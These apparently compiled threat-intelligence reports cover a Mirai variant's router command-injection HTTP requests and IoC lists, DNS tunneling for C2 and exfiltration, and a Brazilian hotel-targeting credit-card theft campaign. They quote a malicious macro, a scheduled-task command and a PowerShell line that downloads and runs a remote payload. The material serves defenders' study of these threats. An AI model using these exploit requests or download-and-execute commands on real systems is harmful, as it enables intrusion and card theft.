Connection: keep-alive

Authorization: Basic R2VtdGVrOmdlbXRla3N3ZA

 

data1=;%s+wap54gv3%d;&command=ui_debug

CVE-2013-3568 Linksys WRT100, WRT110 consumer routers Dec, 2018 POST /ping.cgi HTTP/1.1

Host: [IP]:[Port]

Content-Length: 1024

Connection: keep-alive

Authorization: Basic YWRtaW46YWRtaW4

pingstr=&+;%s+wrt100_p%d;

ZTE Remote Command Execution ZTE ZXV10 H108L Routers with <= V1.0.01_WIND_A01 Oct, 2018 GET /getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch&Host=;+$(;%s+h108l_p%d;)&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit HTTP/1.1

Host: [IP]:[Port]

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

Linksys apply.cgi Remote Command Execution Linksys E1500/E2500 routers - POST /apply.cgi HTTP/1.1

Host: [IP]:[Port]

Content-Length: 1024

Connection: keep-alive

Authorization: Basic YWRtaW46YWRtaW4

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_size=&;%s+e1500_p%d;&ping_times=5&traceroute_ip=127.0.0.1

 

POST /apply.cgi HTTP/1.1

Host: [IP]:[Port]

Content-Length: 1024

Connection: keep-alive

Authorization: Basic YWRtaW46YWRtaW4

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_size=&;%s+e2500_p%d;&ping_times=5&traceroute_ip=127.0.0.1

Table 2 Other exploits in the Mirai variant

The remaining exploits are ones already observed and written about in the context of previous campaigns are listed below.

Indicators of Compromise

Payload source

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/wgetbin[.]sh

C2

epicrustserver[.]cf:3933

URLs previously hosting Mirai variant

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.mips

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.mpsl

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.arm

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.arm5n

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.arm7

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.sh4

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.spc

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.x86

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.ppc

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.i686

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.m68k

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.x86_64

hxxp://185.248[.]140.102/bins/clean.mips

hxxp://185.248[.]140.102/bins/clean.mpsl

hxxp://185.248[.]140.102/bins/clean.arm

hxxp://185.248[.]140.102/bins/clean.arm5n

hxxp://185.248[.]140.102/bins/clean.arm7

hxxp://185.248[.]140.102/bins/clean.sh4

hxxp://185.248[.]140.102/bins/clean.spc

hxxp://185.248[.]140.102/bins/clean.x86

hxxp://185.248[.]140.102/bins/clean.ppc

hxxp://185.248[.]140.102/bins/clean.i686

hxxp://185.248[.]140.102/bins/clean.m68k

hxxp://185.248[.]140.102/bins/clean.x86_64

 Samples of new Mirai variant

00033b5b33b59ad88aa4f196c08eb7a6d2e6ab181ec729e8ed577d55f8b1f3ee

02975fa7929a2f98963d6431f24cf4de702eb42530ac505c47d7567cf002c3d5

05dc7657dc240fe7f42c3ffe95526d161151dd62f8f63188fe666ed86b0347c3

075729594c4883fda420c0749be695d6d771eb61b569ac9b0124738db0f864ef

07f22804757914c7a16e90bdd7ee26596f04995e5f8b90ca8d746c46039bb1c8

09d75b526c79ac98b4c07ca1f28319ac1b6cafcadd0c41b71e82252211390b3d

0b1a51ac04a949197c4c47d589872663be05747e18e20e7f20a24b011f4db0dd

0c42ba60d95eda9cf90f7f1dbe5bcb316d871972eff9722748e9c2a343572484

233094f242ce7626a5a5c1fe46ee205da279e03019b8a391bcc3fa41ce77b647

234a05ac1970af58b6f76dca22aa25bece2ef1d65f4146748f6b859a19f91d31

2764a0a0ab9faf04478fef4fd8ec948da431885cafa6ddf0c23ef8cda379c7d9

28de1263449d88e986e37e7ce74ebc0b6cfceaeb3d5beb5dff296354f33dbf8c

324eb05d47b3114c48f6505db5e4cd7c81110c42488e07c547afd7869690231f

33a8b157e2fdd1acddc5085843a5ac96ee6f9df29c8f48a483bd4eebd16f73cc

36d72d137abc2a43a5f6c00c9a8e41f1faf5e89643e5add1529f7343a731856f

3eccc01f6677567b0aeea89b6e50c7184698732287c29f95000acc102c02dd47

3f299938339bc426c5d78b55a1398da31f948f7c30d6115ab30a656cdd78de35

403e702fa7e8b0a4ebde7db2e505645507b12ef0306619fb2523dea5cdf2f40d

4111155bfc2f0b005d763ff4cd05e60187bdc29d3b17d0971f736da779595a9a

4495af4264d11e339c4ba9776fd79c7b5554b70bbb6cc875ed7a03b7eef15f8a

44ae362714ba76c65150a363b0b340a5bd422649e48df37661ba1db8e0ec0f9e

46a58cfa883c71b9066b2ffe7ce475676570e9940327782927b559ea9a47df88

4a7bd1ab7a9505dec2d83f44b2d99f3068823db9d9d888333ccfdd239cc72192

4ebbcfeaad77207f82d072651cae53741e6af464c61735e33e385fba8edf3f61

4f3e5d72f53d59f932b606f440428608b5bbd4afa8ed33148e322e0096465130

5ebfd332bc5b9697d7b07e37600d495489da1b892288f051c56c8aba9574bed7

613e74f2d3549fe9b76eaa404b20fe87ea89672c4bf2f0d1cf88be4d657ea323

684a4c2e426a146c2217d3e62b7f7c69ea12628d182b2441c840bddacc1597f2

77b059f2f5b62d059fd9e3dfaf41cbeb7543ef288410f3c85a090bf03be99b24

884929e31c2cb8dc7e51949d94fe5073216be967f83f8013e0980d8959141234

892efa131b0cd6ca87fa0c2e3006c8352947cfc40ac0adf51a55b711a806aa80

8c9a3f8c94210813287b2789f63410d4744f3422a8012d6b1bc60a307884732c

8d1700c0144d6e56d8ba4e4061694c1194a7d0bc63740a1bdebf2697e46b3978

8d28628e8a31b39e178ba8c7dd781ea19db5ec3fe20f84ba20228c47a49aa543

8eb7eafb26235796534ba9deeada27b4e25e7c45d9b87715ee6d4182b3ca6068

8f2e458607f85f4c22ca7135df5fa2649c9979f2bb69036b3c63de52ec2f14f0

938e836c5035d52f954ff91fd5008a9444a3efa3e07592ceefc9efebd260b085

95ee8502a7cbac8cb21471fc40d86ddefa87ef9790f0c06d47fe47c3a2278396

9d37c617dacfef668548beee55a6b1d3899ffce3e7999d43159e228dcae1db01

a4923ae6bf36a5c5507ed4e7f0c7b92524df04e132c1823e611ed584e5495186

a61717a8c64301f20ac01f6fd7462d3303a72c9ed131fdd24cd6b12eb788377b

a6d3081703359ee1879b2ce9c85d0c3f4ed4b319db6ecebd18054982bcf1603c

ae7d250606c543b241b1809158a2668408c9ecaaf3ce4d51e08700f78534ce31

b1cac267d0e3456f9da90955027e55ad1b78a7bf60f11914e959814c90ea7cc6

b29334ca77f72587430fde00791daa1262972d315238d624e94238dda32e9240

b34b43d240c89d1e9bbd9d99c6050afc7efa62323d7788a46801576c5b1de0ab

b57b14f16c41a06b1f434f60cdc9bc380a4ff1ad5b7d8edc87c097cee6f3d233

b8d284ba89b562923d1eed2e67517dc8772977decc49d5f82d75237d4a8937e6

ba0d0e16b54aa6aaca3ab1ca2afa78148e823ae228d5f790e0279bb87dba5495

bb5f7f92f4aa7cfdc0691037dc50549ccc705685bdd6f375c884bc68518b7e59

bb9d7a86f107586dc8d99244a662c83c6f7667696b411292162dcb47d95d4c9b

bc3eb0f7c8d4ecdacddac5d9ccc6ac44b6f6081f051d8890c5986faa37f56623

bd5afefa044494010150501822f5f32be4300f482f8c8904d9fd1a30f5722fdd

bdac2ed66c0f5633f5f12910bc9c03173be1fc51a76e495a36d700ba4ddc9da4

c1ad4b2c0e71d2a92e4d9a4d2de01f750b8758fa3fe8a85631aaf870615b6769

c30654f9bfd036f75a9c4a0f991f141243c821dbfc2b4d2ae308e68c4d232a57

c86328964dfc86ca70c722e300f533bafaf234b2007867c6bf6a4e4be47cf8ca

d049406662f083507dcd7278fa25bec0e93be06511ce290ed9ff309b514857a0

d996a37b3bb09386b2e1e6a915b83c448065f0139d3c8057bf67e85d01ada9d1

dc866393e6a549afd56d7a7a7411a4eff7f0cb37fe1964c4f87e4228d46c8eb2

ddaa6c58ac7ed29166af6a337500ea5ca6ca54191a4176178e1cb1a351064c4e

e3c250062292daaff815345e87fb9f28e7ac683338c58de7a3a9cc743f6200e6

e5432946188a1c644e23159ae588797bd967ddc1f983956878e0ad0590efc73a

e60451a0b5dd0b875263c8e7c74773971b0faba783957c2a305ddf5356c9d567

e6156246bb85ca4a64377d3b68b6f34805b8a6a84890a9eada984fc29bfa36e1

ec4eef0d92105d9b82888bce94f0a2e00988f3be1a6005c889b91afd7fd05835

f01f85f9068f3c01193a0fb4b20a37573748914292a606da5cb2b5749b720366

f32176c3799fd3bc3a2a24c162861d12f987db548e9ef94c3bc8c6156bcd4fe3

f370a635db07bbd788991e898d8aa9be78ba0457cec3bd3e869ddc11e5693b5e

f9bd8d0ae187a27d8d1ad54e8c8b551488f66141e4590ac7583cf470a2ab260d

fab198f5f460b0591899bd218df79d2b50ec71ec2dd0494f1fa2bd07ba887aed

fe92e66c0c5a4402972a3bf7473b98a13c067beddcba500443d194f022ca4194

URLs previously hosting Gafgyt

hxxp://185.248[.]140.102/eeppinen.arm

hxxp://185.248[.]140.102/eeppinen.arm7

hxxp://185.248[.]140.102/eeppinen.armv4l

hxxp://185.248[.]140.102/eeppinen.i586

hxxp://185.248[.]140.102/eeppinen.i686

hxxp://185.248[.]140.102/eeppinen.mips

hxxp://185.248[.]140.102/eeppinen.mipsel

hxxp://185.248[.]140.102/eeppinen.m68k

hxxp://185.248[.]140.102/eeppinen.x86

hxxp://185.248[.]140.102/eeppinen.ppc

hxxp://185.248[.]140.102/eeppinen.sh4

hxxp://185.248[.]140.102/eeppinen.sparc

Gafgyt sample hashes

070405b85448d15afe619584c3f3cc851ed43098f57ef88981edd22b663030e7

19e2e20d994ba7c8af6537f640ef14459b66f333a7e5b28ef733ac81b43a628b

36562e6f3917ea80fcd241bca96fe96eb4f7328b14afd2c4b528bef9ce4b21da

573d539b78cdbb6d199d48ea986a5ba18c293253e48e2072e9871eb5460b2ae7

5aede6d1b0376f2e8c3c292f39357137a32c8ff1a3c60c594775081707647f59

6efb0d2304ce4c63205c6b502ba65a7f1b7eb87b055c0c5dcbb0120f49383588

85ac0d7ce9c899ec12c8efff89f5fcb1ed8b87623bf6a1457d53f3d1dce5c71d

c62c5d6255b6c1b5e8fa1861122adc180b36fbf4878f175e29367c7f6b08d7c9

db5fae3cd9ac7338e3d9fe302ffe5e261a9cafca75458523343f3562a0362ae8

dd1ab1f58494611af68d7d4dbe548234f0429b0f0c3d42135dce8f4339a16a7b

e0d4f82f5d1a20ca447c26b454be18aa7478a853d3526317972cb6ca9d847f29

e14ff28d2188ff0f665468bd0e17db21f3f11292b85c2a370596481cdf7c835f

 

DNS Tunneling: how DNS can be (ab)used by malicious actors

Malicious actors have utilized Command & Control (C2) communication channels over the Domain Name Service (DNS) and, in some cases, have even used the protocol to exfiltrate data. This is beyond what a C2 “heartbeat” connection would communicate. Malicious actors have also infiltrated malicious data/payloads to the victim system over DNS and, for some years now, Unit 42 research has described different types of abuse discovered.

DNS is a critical and foundational protocol of the internet – often described as the  “phonebook of the internet” – mapping domain names to IP addresses, and much more, as described in the core RFCs for the protocol. DNS’ ubiquity (and frequent lack of scrutiny) can enable very elegant and subtle methods for communicating, and sharing data, beyond the protocol’s original intentions.

On top of the examples of DNS use mentioned already, a number of tools exist that can enable, amongst other things, their attackers to create covert channels over DNS for the purposes of hiding communication or bypassing policies put in place by network administrators. A popular use case is to bypass hotel, café etc Wi-Fi connection registration by using the often-open and available DNS. Most notably these tools are freely available online in places like GitHub and can be easy to use. More information about these tools can be found in the Appendix section at the end of this report.

In this report we introduce the types, methods, and usage of DNS-based data infiltration and exfiltration and provide some pointers towards defense mechanisms.

DNS

DNS uses Port 53 which is nearly always open on systems, firewalls, and clients to transmit DNS queries. Rather than the more familiar Transmission Control Protocol (TCP) these queries use User Datagram Protocol (UDP) because of its low-latency, bandwidth and resource usage compared TCP-equivalent queries. UDP has no error or flow-control capabilities, nor does it have any integrity checking to ensure the data arrived intact.

How is internet use (browsing, apps, chat etc) so reliable then? If the UDP DNS query fails (it’s a best-effort protocol after all) in the first instance, most systems will retry a number of times and only after multiple failures, potentially switch to TCP before trying again; TCP is also used if the DNS query exceeds the limitations of the UDP datagram size – typically 512 bytes for DNS but can depend on system settings.

Figure 1 below illustrates the basic process of how DNS operates: the client sends a query string (for example, mail.google[.]com in this case) with a certain type – typically A for a host address. I’ve skipped the part whereby intermediate DNS systems may have to establish where ‘.com’ exists, before finding out where ‘google[.]com’ can be found, and so on.

Figure 1. Simplified DNS operation

Once a name is resolved to an IP caching also helps: the resolved name-to-IP is typically cached on the local system (and possibly on intermediate DNS servers) for a period of time. Subsequent queries for the same name from the same client then don’t leave the local system until said cache expires. Of course, once the IP address of the remote service is known, applications can use that information to enable other TCP-based protocols, such as HTTP, to do their actual work, for example ensuring internet cat GIFs can be reliably shared with your colleagues.

So, all in all, a few dozen extra UDP DNS queries from an organization’s network would be fairly inconspicuous and could allow for a malicious payload to beacon out to an adversary; commands could also be received to the requesting application for processing with little difficulty.

If you want to go deep on how DNS works – all the way from you typing keys to spell the domain name you want to browse – then please read this article.

Data Trail

Just as when you browse the internet, whether pivoting from a search engine result or directly accessing a website URL, your DNS queries also leave a trace. How much of a trace depends on the systems and processes involved along the way, from the query leaving the operating system, to receiving the resultant IP address.

Focusing on the server-side only and, using some basic examples, it’s possible for DNS servers – especially those with extended or debug logging enabled – to gather a whole host (no pun intended) of information about the request, and client requesting it.

This article provides some idea of the type of information that could be gleaned from DNS server logs; an adversary operating such a server gets the remote IP sending the request – though this could be the last hop or DNS server’s IP, not the exact requesting client’s IP – as well as the query string itself, and whatever the response was from the server.

DNS Tunneling

Now that we have a common understand of DNS, how it operates in a network, and the server-side tracing capabilities, let’s dig a little deeper into the tunneling capabilities. In this section we will describe how command and control (C2) beacons can operate over DNS, and how data exfiltration and infiltration is possible.

C2

A C2 channel often serves two purposes for the adversary. Firstly, it can act as a beacon or heartbeat indicating that their remote payload is still operating – still has a heartbeat – as it’s beaconing-out (communicating) to their server.

You could consider the basic DNS operation, as shown in Figure 1 above, as an example of a heartbeat. If the malicious implant on the client system repeatedly sends a query to the actor’s server through the DNS infrastructure, the actor could tell from the logs that an implant is running. What becomes difficult is distinguishing between multiple victims that are infected with the implant.

Consider another example described by Figure 2 below, where the client system is compromised with malware that’s constructing strange-looking query strings to send over DNS. Queries like these still act as a heartbeat indicating to the adversary their payload is still active, however they also provide some basic meta-data about the victim and, importantly, ways to uniquely identify one victim from another.

Figure 2. Example C2 DNS query operation

Usernames and hostnames may not always be unique, and some IPs could be duplicated across multiple networks using Network Address Translation (NAT), however systems do have Universal Unique Identifiers (UUIDs) or other properties, that when combined could create a unique identifier for a given host or victim.

Some of the meta-data from the compromised host could be sent as plaintext but might appear more suspicious at first glance to anyone seeing such strings in a DNS query. In many cases the data will contain characters not supported by DNS, in which case encoding will be required. In Figure 2 you can see the base64 encoded equivalent for the meta-data, which is constructed using a ‘-‘ delimited notation for simple parsing and decoding on the server-side, as shown in Figure 3 below.

Figure 3. Server-side DNS logs tracking C2 communication

Figure 3 shows an example of what a raw DNS log from a DNS server application may look like, with line entries for the malware’s query and the DNS server’s response, NXDOMAIN (or non-existent domain), in this case.

In some ways, a log like this, or perhaps a small database containing the decoded records from them, could be compared to the more snazzy-looking botnet control panels that allow the botnet herder to control their zombie victim systems.

Exfiltration

So, what else could be sent up in DNS queries? Well, anything in theory, so long as it’s encoded correctly and doesn’t abuse the UDP size limits. A way for getting around the latter constraint could be to send multiple A record messages and have them stitched together somehow on the server-side. Complications would arise however in dropped or missing datagrams.

Unlike TCP that ensures retransmission of failed packets, UDP has no such mechanism. An algorithm would be required to understand how many messages will be sent, and check the correct number arrives, but more complicated than that, somehow ask the client to retransmit certain segments of the data again until 100% arrives. Depending on the amount of data to transmit – every PDF on the system, for example – may take an age, and look hugely suspicious to network administrators.

Infiltration

In contrast, infiltration of data whether it be code, commands, or a binary file to drop to disk and execute could be much easier, especially using the DNS type of TXT (as opposed to host record type A). TXT types were designed to provide descriptive text, such as service details, contact names, phone numbers, etc in response to TXT DNS queries for domain names.

Guess what looks likes text? Base64-encoded non-text data! Figure 4 below shows the identical query being sent to the malicious site as in Figure 2, however, the type is now TXT on both the request and response, and the response data contains the first 300 or so characters of an encoded binary executable file that could be executed by the client malware. Again, using the logs, the adversary would be able to know which client asked for the payload, and that the payload was sent (who knows if it actually arrived…).

Figure 4. Example C2 DNS query with TXT type response

But how does the malicious implant know to change the type to TXT or when to request whatever lies inside the “text” data? It could be built-in to the payload to query at a certain point in its execution or after a certain amount of time but in reality, it’s going to be actor-driven using the second purpose of a C2 channel – control.

In my earlier examples of C2 DNS communication the response from the DNS server was NXDOMAIN. This message obviously reaches the client system (and the malware) and could be used a message or instruction for the payload but it’s limiting without parameters and detail. Enter NOERROR.

NOERROR, as the term suggests means everything worked fine – your request was processed and an answer awaits you. With a NOERROR comes a response that can be processed. Usually this is the IPv4 (for A type requests) or IPv6 (for AAAA type requests) or it could be TXT, as shown in Figure 4 above. Focusing on a simple example – the IPv4 address response – the malware doesn’t need an actual IP to communicate with, unlike your browser that asked “where is google[.]com at?”. The malware is already in communication to its destination using the C2 over DNS.

What the malware can use the IP response for is any one of 4,294,967,296 possible commands or instructions. Again, keeping this very simple still, it’s possible that a particular value in the 4th octet of the IP, say, 100, would indicate to the malware to send a TXT DNS query to the actor’s domain to collect and execute a payload. Value 10 in the first octet could mean to uninstall and wipe traces of the malicious payload from the operating system and event logs. Literally, the options are endless, as are the levels of possible sophistication.

Given the adversary has control over the DNS server, and that certain DNS server applications or daemons are highly configurable, it’s possible to send conditional responses back to the malware on the victim systems based on requests sent from them.

For example, if the incoming query contains a certain flag – a character – as the first subdomain to the domain name, it could be read by a program running inside the DNS service on the server and provide a custom response back to the client. This could be used for the malware to work through a set of tasks automatically, and report back accordingly to the actors to receive their next task.

Conclusion

DNS is a very powerful tool used almost everywhere allowing applications and systems to lookup resources and services with which to interact. DNS provides a communication foundation enabling higher-level and more powerful protocols to function but can mean it’s overlooked from a security point of view, especially when you consider how much malware is delivered via email protocols or downloaded from the web using HTTP.

For these reasons, DNS is the perfect choice for adversaries who seek an always-open, often overlooked and probably underestimated protocol to leverage for communications from and to compromised hosts. Unit 42 has seen multiple instances of malware, and the actors behind them, abusing DNS to succeed in their objectives, as discussed in this report.

Organizations can defend themselves against DNS tunneling in many different ways, whether using Palo Alto Networks’ Security Operating Platform, or Open Source technology. Defense can take many different forms such as, but not limited to, the following:

  • Blocking domain-names (or IPs or geolocation regions) based on known reputation or perceived danger;
  • Rules around “strange looking” DNS query strings;
  • Rules around the length, type, or size of both outbound or inbound DNS queries;
  • General hardening of the client operating systems and understanding the name resolution capabilities as well as their specific search order;
  • User and/or system behavior analytics that automatically spot anomalies, such as new domains being accessed especially when the method of access and frequency are abnormal.
  • Palo Alto Networks recently introduced a new DNS security service focused on blocking access to malicious domain names.

Further information can also be found in the ATT&CK framework documentation on Mitre’s website. Specifically, the following techniques relate to concepts discussed in this report.

ID Technique
T1048 Exfiltration Over Alternative Protocol
T1320 Data Hiding
T1094 Custom Command and Control Protocol

Thanks to Yanhui Jia, Rongbo Shao, Yi Ren, Matt Tennis, Xin Ouyang, John Harrison and Jens Egger for their input on this report.

Appendix: Toolkit List

Tool Name Description
dns2tcp dns2tcp was written by Olivier Dembour and Nicolas Collignon. It is written in C and runs on Linux. The client can run on Windows. It supports KEY and TXT request types. [4]
tcp-over-dns tcp-over-dns (TCP-over-DNS) was released in 2008. It has a Java based server and a Java based client. It runs on Windows, Linux and Solaris. It supports LZMA compression and both TCP and UDP traffic tunneling. [4]
OzymanDNS OzymanDNS is written in Perl by Dan Kaminsky in 2004. It is used to setup an SSH tunnel over DNS or for file transfer. Requests are base32 encoded and responses are base64 encoded TXT records. [4]
iodine iodine is a DNS tunneling program first released in 2006 with updates as recently as 2010. It was developed by Bjorn Andersson and Erik Ekman. Iodine is written in C and it runs on Linux, Mac OS X, Windows and others. Iodine has been ported to Android. It uses a TUN or TAP interface on the endpoint. [4]
SplitBrain SplitBrain is a variant of OzymanDNS.
DNScat-P / dnscat2 DNScat (DNScat-P) was originally released in 2004 and the most recent version was released in 2005. It was written by Tadeusz Pietraszek. DNScat is presented as a “Swiss-Army knife” tool with many uses involving bi-directional communication through DNS. DNScat is Java based and runs on Unix like systems. DNScat supports A record and CNAME record requests (Pietraszek, 2004). Since there are two utilities named DNScat, this one will be referred to as DNScat-P in this paper to distinguish it from the other one. [4]
DNScapy DNScapy was developed by Pierre Bienaime. It uses Scapy for packet generation. DNScapy supports SSH tunneling over DNS including a Socks proxy. It can be configured to use CNAME or TXT records or both randomly. [4]
TUNS TUNS, an IP over DNS tunnel, was developed by Lucas Nussbaum and written in Ruby. It does not use any experimental or seldom used record types. It uses only CNAME records. It adjusts the MTU used to 140 characters to match the data in a DNS request. TUNS may be harder to detect, but it comes at a performance cost.
PSUDP PSUDP was developed by Kenton Born. It injects data into existing DNS requests by modifying the IP/UDP lengths. It requires all hosts participating in the covert network to send their DNS requests to a Broker service which can hold messages for a specific host until a DNS request comes from that host. The message can then be sent in the response.
Your Freedom HTTPS/UDP/FTP/DNS/ECHO VPN & tunneling solution for Windows, Mac OSX, Linux and Android. Bypass proxies and access the Internet anonymously
Hexify A tool is developed by Infoblox to do the penetrating test for DNS tunneling.

Appendix: Malware List

Malware Name Description
DNS_TXT_Pwnage A backdoor capable of receiving commands and PowerShell scripts from DNS TXT queries.
DNSMessenger DNSMessenger is Remote Access Trojan (RAT) that opens a backdoor so that hackers can control the compromised machine remotely
OilRig - BONDUPDATER Trojan against a Middle Eastern government can use A records and TXT records within its DNS tunneling protocol for its C2 communications

 

Operation Comando: How to Run a Cheap and Effective Credit Card Business

In December 2018, Palo Alto Networks Unit 42 researchers identified an ongoing campaign with a strong focus on the hospitality sector, specifically on hotel reservations. Although our initial analysis didn’t show any novel or advanced techniques, we did observe strong persistence during the campaign that triggered our curiosity.

We followed network traces and pivoted on the information left behind by this actor, such as open directories, document metadata, and binary peculiarities, which enabled us to find a custom-made piece of malware, that we named “CapturaTela”. Our discovery of this malware family shows the reason for the persistent focus on hotel reservations as a primary vector: stealing credit card information from customers.

We profiled this threat actor and that has resulted in uncovering not only their delivery mechanisms, but also their arsenal of remote access tools and info-stealing trojans, both acquired from underground forums as well as open source tools found in GitHub repositories.

Have you ever wondered how an actor can run a very cheap and effective credit card data underground business? Welcome to “Operation Comando”.

The attacker’s delivery mechanisms

Our telemetry for this campaign identified email as the primary delivery mechanism and found the first related samples were distributed in August 2018. Topics used by the actor are typically related to travel bookings and vouchers, and target mainly Brazilian victims. Table 1 shows a representative list of typical subjects and attachment names found during the campaign.

Email Subject Attachment names
Reserva para tres quartos “Ficha cadastral Leticia Ferreira Mendes.ppam”, “Ficha cadastral Jacinto Mendes da Silva.ppam”, “Ficha cadastral Marcos Portela Correa.ppam”, “Ficha cadastral Francisco Prado.ppam”
Reserva Veirano Advogador Roominglist Veirano Advogados .docx
Corrigir data da reserva para o dia 03 Booking - Dados da Reserva.docx
Voucher para reserva Voucher para reserva 02.docx
Reserva Voucher de Reserva ADRIANA MILLER RODRIGUES.ppa

Table 1 Some email subjects and attachment names representative of this campaign.

 While investigating the malicious documents used in the campaign, we discovered an interesting consistency in the document metadata. The author consistently uses an acronym throughout their work - “C.D.T Original” (see details on Figure 1).

Figure 1 Example of malicious document metadata

The attackers make use of multiple common off-the-shelf methods that are observed in many campaigns, such as external references to remote scripts executed by MSHTA. Following this approach, this actor can find multiple tools and resources to perform their activities, and at the same time, make attribution and tracking more difficult for analysts. The most prevalent combinations of methods observed are depicted in Figure 2.

Figure 2 Multiple delivery mechanisms.

As an example of an email delivery used during December 2018 campaigns, let’s look at what pretended to be a rooming list (SHA256: ac70d15106cc368c571c3969c456778b494d62c5319dc366b7e2c116834c6187), which follows one path from Figure 2, more precisely the steps described in Figure 3.

Figure 3 December 2018 campaign delivery example

The malicious documents contain a simple Macro, which executes a remotely-hosted script using MSHTA:

Public Sub Auto_Open()

var0 = "MSHTA https://bit[.]ly/2QXNTHi"

Var = var0

Shell (Var)

End Sub

The landing URL resolves to:

hxxps://internetexplorer200[.]blogspot[.]com/

The statistics for the URL-shortened link on bit.ly confirm the observations from our telemetry, showing targets mainly in Brazil, as depicted in Figure 4 Distribution of Bit.ly campaign on 27-28th December.

Figure 4 Distribution of Bit.ly campaign on 27-28th December

 

MSHTA executes VBScript contents that are encoded/obfuscated using a very simple algorithm (note the presence of Portuguese words throughout the code).

Figure 5 First stage VBScript code run via MSHTA

This results in the following scheduled task created in the system, where a new second-stage script is invoked via MSHTA from another remote location. Note that the second-stage VB code contains a reference to “CDT” in a comment.

"set shhh = CreateObject(\"WScript.Shell\")\r\n   Dim var1\r\n var1 = \"cmd.exe /c SchTasks /Create /sc MINUTE /MO 240 /TN AdobeUpdateSD /TR \"\".exe https://minhacasaminhavidacdt.blogspot[.]com/\"\r\nshhh.run var1, vbHide\r\n"

Figure 6 Second-stage VB script

This second-stage VBScript code ends up loading a final payload in memory via PowerShell reflection, fetching the binary content from a file with a GIF extension:

"CreateObject(\"Wscript.Shell\").run  \"cmd.exe /c powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -command [Reflection.Assembly]::Load([Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://achoteis.com[.]br/images/64.gif'))).EntryPoint.Invoke($null,$null)\"\r\n"

The final payload delivered in this case is Revenge Remote Access Trojan (RAT), a commodity tool which can be used to facilitate information theft.

Infrastructure analysis

At the infrastructure level, the attacker makes use of dynamic DNS (DDNS) services such as DuckDNS, WinCo, or No-IP, many of which offer free accounts lowering the investment required for attacker infrastructure. Some examples of the domains in use are detailed in Table 2.

Dynamic DNS Domains
systenfailued.ddns[.]com[.]br
office365update[.]duckdns[.]org
cdtoriginal[.]ddns[.]net

Table 2 Examples of domains associated with this campaign using DDNS providers

In addition to using free services, paste sites, and compromised sites, we have also identified at least one domain that appears to be actor-owned. The domain “fejalconstrucoes[.]com[.]br” has been used to host payloads, as well as send emails to potential victims. Figure 7 DNS WHOIS record shows details on the domain, which has been registered using the UOL service in Brazil.

Figure 7 DNS WHOIS record

Emails with malicious attachments belonging to this campaign have been found with the following characteristics:

Domain: fejalconstrucoes[.]com[.]br

Email Senders: mmcorrea@fejalconstrucoes.com.br, marcos@fejalconstrucoes.com.br

Attachment names: Contrato Anual FEJAL Construçoes.ppa

As mentioned before, an interesting detail on domains and paths used by the attacker is the use of the recurring acronym “CDT”, as for example:

hxxp://bit[.]ly/cdtqueda

hxxp://cdtoriginal.ddns[.]net

Identifying the main business driver: “CapturaTela”

During our investigation, one open directory identified allowed us to find several payloads used by the attacker. Table 3 displays the set of payloads and documents found. The acronym “CDT” keeps appearing even in file names used.

Filename SHA256
CDT.hta 4485a8f339171ca86f7e38b912f0f28072ffe04404d5062af3a60f322566f870
Copia Detalhe da reserva - Booking.ppam

 

ac70d15106cc368c571c3969c456778b494d62c5319dc366b7e2c116834c6187

 

DadosDaReserva.doc

 

03483d2e701f8f90c9cc46b37f12f1cef995e4cca4b5c4b9e67947f560275677

 

DillI.js

 

d5f4d7fb7c8042b047e9f3d93d5f02841f01889ba8a899c0c1ed7064129e3bb4

 

quasar.jse

 

03d7de252c30c87d6b156b4fbcdcd008ef6bae319a9c42613aaa01428bd490e3

 

Table 3 Contents found in an open directory at cdtmaster[.]com[.]br

Despite the filename, "quasar.jse" is not QuasarRAT, but instead a JS script which contains a basic base64 encoded payload dropper (see Figure 8), with a very simple and interesting payload for our investigation.

Figure 8 JS base64 payload dropper

The decoded payload is a PE file, written in .NET, with information-stealing capabilities. One of its main methods gives name to our malware family “CapturaTela”, and as its Portuguese name indicates, it has the capability to save a screenshot into a Bitmap object.

Figure 9 CapturaTela method's screen capture capabilities.

The main functionality of this malicious information-stealing trojan is the following (see Figure 10):

  • Iterate over the open processes list and check for specific window titles. The title has to contain either “ls . B” or “o . B” for the sample to perform further activity.
  • If the title is found, a screenshot will be taken and sent by email as a JPEG attachment (see Figure 12).
  • It will kill existing Chrome processes when done. The windows' titles are probably based on Chrome tag contents.

Figure 10 Main functionality loop of CapturaTela

Figure 11 Email exfiltration capabilities of CapturaTela

In order to validate the functionality, we decided to create a simple web page matching the title content and patched the malicious sample to use a test email account under our control (see Figure 12).

Figure 12 Test HTML page and debugging CapturaTela functionality

As a result, as displayed in Figure 13, we confirmed the format and contents of the exfiltrated information that the attacker was planning to collect from its victims.

Figure 13 Email received with data exfiltrated

 

So, the only remaining question for our investigation was the kind of content and window titles that this information-stealing trojan was looking for?  Which kind of web pages could contain “ls · B or o · B” as part of their title?

Initially, finding a website with these properties seemed to be an impossible task, but we started the research based on what we knew around the targets and email delivery session metadata used on these campaigns. From this data, we were able to identify potential target websites containing certain – but common to the industry and nature of the business – terms in their website page titles, in both English and Portuguese, that would match the string pattern-matching described above and invoke the malware’s credit card stealing capabilities. The websites found lead us to the fact that the attacker’s focus is on getting the victim’s full credit card details during a given purchase process.

